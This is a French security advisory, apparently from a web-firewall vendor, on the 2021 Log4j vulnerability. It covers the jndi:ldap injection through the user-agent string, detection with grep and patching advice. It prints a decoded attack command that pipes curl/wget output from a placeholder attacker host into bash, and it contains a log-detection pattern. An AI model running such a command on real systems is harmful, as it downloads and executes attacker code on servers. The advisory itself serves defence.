Une vulnérabilité critique de sécurité de serveur dans la bibliothèque de journalisation Java Log4j prend d'assaut Internet, car le code permettant d'exploiter activement cette vulnérabilité est déjà largement distribué sur le Web.

1. Vulnérabilité Log4j : Le cadeau de
vacances parfait dont personne ne veut
Une vulnérabilité critique de sécurité de serveur dans la bibliothèque de
journalisation Java Log4j prend d'assaut Internet, car le code permettant
d'exploiter activement cette vulnérabilité est déjà largement distribué sur le
Web. Initialement trouvé sur le jeu populaire Minecraft, il a depuis été démontré
qu'il affectait la plupart des serveurs Web exécutant Apache ainsi que sa
bibliothèque de journalisation omniprésente Log4j. Il a été activement exploité
par les acteurs de la menace sur le Web. Il s'agit de loin de la vulnérabilité la
plus grave de 2021, avec un score de 10/10 sur l'échelle CVSS. La vulnérabilité
affecte les versions 2.14.1 et inférieures. Il permet l'exécution de code arbitraire
à distance et potentiellement la prise de contrôle complète des serveurs et des
ordinateurs par les attaquants.
Mon site Web est-il sûr ?
Les règles de protection génériques de notre pare-feu d'application
Web protégeaient contre la plupart de ces tentatives d'exploitation, cependant
nous avons rapidement poussé un correctif pour couvrir la nouvelle gamme de
variantes découvertes. Les sites Web derrière notre pare-feu sont protégés
contre cette attaque. Si vous exploitez un serveur tel qu'un VPS (serveur privé
virtuel) et utilisez Apache Log4j, vous devez prendre des mesures pour corriger
immédiatement votre environnement et vous assurer que vous utilisez la version
corrigée 2.15.0.

2. Cela étant dit, la quantité d'applications logicielles qui utilisent Log4j
est vaste et ne s'applique pas uniquement aux sites Web. Même certains routeurs
et autres périphériques matériels utilisent des logiciels qui utilisent Log4j. Par
conséquent, qualifier cette attaque d'« immense » ne suffit pas à décrire l'étendue
de cette vulnérabilité. On peut supposer sans risque que de nombreuses
organisations, grandes et petites, ont déjà été compromises. La gravité de celui-
ci est facilement comparable à d'autres défaillances de sécurité catastrophiques
telles que Shellshock, Heartbleed et EternalBlue.
Flashbacks de ShellShock
Les adeptes de longue date de la sécurité Web se souviendront de la
vulnérabilité de rupture d'Internet ShellShock de 2014. Fait intéressant, cette
vulnérabilité fonctionne de la même manière en ce sens que les serveurs Web
vulnérables peuvent être compromis par la simple utilisation d'une modification
d’un ensemble d’agent utilisateur (user agent string).
Étant donné que la vulnérabilité se trouve dans la bibliothèque de journalisation
Apache, la chaîne de l'agent utilisateur (user agent string) de la requête est suffisante
pour exécuter une infection. Les attaquants n'ont qu'à utiliser jndi:ldap suivi de leur
charge utile. Apache enregistrera la demande et exécutera la commande arbitraire
résidant sur le serveur LDAP contrôlé par l’attaquant.
Déjà exploité à l'état sauvage
Les attaquants ont immédiatement commencé à exploiter cette
vulnérabilité. Nous avons déjà vu de nombreuses attaques différentes ciblant ce
logiciel, par exemple cette requête encodée en base64 vers des serveurs Apache
potentiellement vulnérables :
Décryptons cette chaîne et examinons ce que fait cette attaque :

3. (curl -s ATTAQUANT-IP :5874/ VICTIME-IP :80||wget -q -O- ATTAQUANT-IP :5874/
VICTIME-IP :80)|bash
Il s'agit d'une simple commande curl qui utilise wget pour télécharger
subrepticement du contenu malveillant du serveur contrôlé par l'attaquant sur le
serveur victime. Tout le monde peut deviner quel est exactement le contenu, car
il est contrôlé par les attaquants et peut être changé/modifié à volonté. On ne
peut que supposer qu'ils utiliseraient cet exploit pour prendre le contrôle de
serveurs Web vulnérables afin de propager des logiciels malveillants et
potentiellement compromettre des serveurs entiers.
Ai-je été attaqué ?
Si vous avez accès aux logs Apache de votre serveur, vous pouvez exécuter la
commande suivante pour vérifier si votre serveur a été ciblé :
egrep -I -i -r '$({|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^n]+' / var/log
Cela montrera toutes les tentatives d'exploitation de cette vulnérabilité sur votre
serveur, du moins avec les attaques connues à ce jour. Compte tenu de la gravité
de cette vulnérabilité, de nombreuses nouvelles variantes évoluent au fur et à
mesure que je tape cet article.
En conclusion
Si vous êtes propriétaire d'un site Web ou exploitez un VPS ou un autre serveur,
assurez-vous de mettre à jour tout logiciel que vous utilisez qui utilise log4j vers
la version corrigée la plus récente. Vous pouvez également interroger votre
système de fichiers pour les fichiers modifiés récemment, ou éventuellement
restaurer votre serveur à un instant sécurisé avant qu'une éventuelle
compromission ne se produise, puis mettre à jour le logiciel vulnérable
immédiatement.
Si vous vous demandez si un logiciel que vous utilisez sur votre serveur ou votre
réseau domestique/de travail peut être en danger, veuillez consulter cette liste
pratique conservée par Nationaal Cyber Security Centrum des Pays-Bas.

4. Si vous utilisez un VPS, il serait également conseillé d’utiliser un système de
détection d'intrusion tel que OSSECHIDS sur votre serveur. Cela aidera à garder
une trace des modifications des fichiers système et d'autres indicateurs potentiels
de compromission sur le serveur lui-même (plutôt que sur votre site Web
uniquement).
Pour éviter que votre site Web ne soit un vecteur pour cet exploit de serveur,
vous pouvez également placer votre site Web derrière notre pare - feu et nous le
protégerons de cette attaque et de bien d'autres.
MISE À JOUR : Depuis la rédaction de cet article, un autre correctif a
été publié Log4j 2.16.0 afin de résoudre les problèmes potentiels de déni de
service avec le correctif 2.15.0. Le correctif 2.16.0 désactive entièrement la
fonctionnalité JNDI par défaut et supprime les recherches de messages.